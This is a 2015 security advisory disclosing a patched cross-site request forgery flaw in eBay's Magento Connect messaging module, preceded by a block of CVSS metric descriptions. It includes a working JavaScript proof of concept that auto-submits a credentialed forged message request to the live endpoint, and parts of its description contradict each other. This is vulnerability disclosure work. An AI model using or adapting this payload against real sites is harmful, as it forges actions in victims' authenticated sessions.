The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Ebay Magento Cross Site Request Forgery Web VulnerabilityDocument Title:
===============
Ebay Magento Bug Bounty #12 - Cross Site Request Forgery Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1460
Video: http://www.vulnerability-lab.com/get_content.php?id=1526
View Video: https://www.youtube.com/watch?v=x7uaABfxxU0
EIBBP-31602
Release Date:
=============
2015-06-17
Vulnerability Laboratory ID (VL-ID):
====================================
1460
Common Vulnerability Scoring System:
====================================
2.5
Product & Service Introduction:
===============================
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.
Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability
inside our system, please tell us right away.
( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side cross site request forgery web vulnerability in the official Magento Commerce web-application.
Vulnerability Disclosure Timeline:
==================================
2015-03-17: Researcher Notification & Coordination (Hadji Samir)
2015-03-18: Vendor Notification (eBay Inc Security Team - Bug Bounty Program)
2015-04-18: Vendor Response/Feedback (eBay Inc Security Team - Bug Bounty Program)
2015-05-19: Vendor Fix/Patch (Magento Developer Team)
2015-05-21: Bug Bounty Reward (eBay Inc Security Team - Bug Bounty Program)
2015-06-17: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Ebay Inc.
Product: Magento - Connect Web Application 2015 Q2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A client-side cross site request forgery vulnerability vulnerability has been discovered in the official Magento Commerce web-application.
The vulnerability allows to execute unauthorized client-side application functions without secure validation or session token protection mechanism.
Th vulnerability is located in the `create messages` input of the `magento-connect/message/message/create/` module. Remote attackers with low privilege user accounts are able to delete internal magento messages of other users without authorization. The attacker can for example intercept the session to delete all exisiting messages. The type of issue was disclosed to the phpbb board some years ago.
The security risk of the cross site request forgery vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 2.5.
Exploitation of the vulnerability requires a low privilege web-application user account and low user interaction. Successful exploitation of the vulnerability results in unauthorized delete or add of magento connect service panel messages.
Vulnerable Module(s):
[+] magento-connect/message/message/create/
Proof of Concept (PoC):
=======================
The client-side cross site request forgery web vulnerability can be exploited by remote attackers without privileged application user account and with medium user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Login to magento connect
2. Open the send message module
3. Switch to the code review and watch the vulnerable source
4. Follow the steps in the video to recreate the csrf attack!
Note: Tamper the session to intercept the url in a browser
5. Successful reproduce of the security vulnerability!
PoC: Vulnerable Source
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
var response = '';
xhr.open("POST", "https://www.magentocommerce.com/magento-connect/message/message/create/", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------746394422743733252058139105");
xhr.withCredentials = "true";
var body = "-----------------------------746394422743733252058139105rn"+
"Content-Disposition: form-data; name="to"rn" +
"rn"+
"addext01rn"+
"-----------------------------746394422743733252058139105rn"+
"Content-Disposition: form-data; name="subjects"rn" +
"rn"+
"pentestrn"+
"-----------------------------746394422743733252058139105rn"+
"Content-Disposition: form-data; name="description"rn" +
"rn"+
"hellorn"+
"-----------------------------746394422743733252058139105rn"+
"Content-Disposition: form-data; name="extension_url"rn" +
"rn"+
"rn"+
"-----------------------------746394422743733252058139105rn"+
"Content-Disposition: form-data; name="parent_message_id"rn"+
"rn"+
"0rn"+
"-----------------------------746394422743733252058139105rn"+
"Content-Disposition: form-data; name="prevent_click"rn" +
"rn"+
"0rn"+
"-----------------------------746394422743733252058139105rn"+
"Content-Disposition: form-data; name="draft"rn"+
"rn"+
"0rn"+
"-----------------------------746394422743733252058139105rn"+
"Content-Disposition: form-data; name="to"rn"+
"rn"+
"addext01rn"+
"-----------------------------746394422743733252058139105rn"+
"Content-Disposition: form-data; name="send"rn" +
"rn"+
"0rn"+
"-----------------------------746394422743733252058139105rn";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
xhr.onreadystatechange = function () {
document.getElementById("myDiv").innerHTML=this.response;
}
}
window.onload = submitRequest();
</script>
Reference(s):
https://www.magentocommerce.com/magento-connect/
https://www.magentocommerce.com/magento-connect/message/
https://www.magentocommerce.com/magento-connect/message/message/create/
Solution - Fix & Patch:
=======================
Setup a cross site request forgery token to protect the create/delete messages module in the magento connect online-service.
Security Risk:
==============
The security risk of the cross site request forgery web vulnerability in the messages module is estimated as medium. (CVSS 2.5)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [[email protected]]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: [email protected] - [email protected] - [email protected]
Section: magazine.vulnerability-db.com- vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php- vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php- vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
([email protected] or [email protected]) to get a permission.
Copyright 2014 | Vulnerability Laboratory - Evolution Security GmbH
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum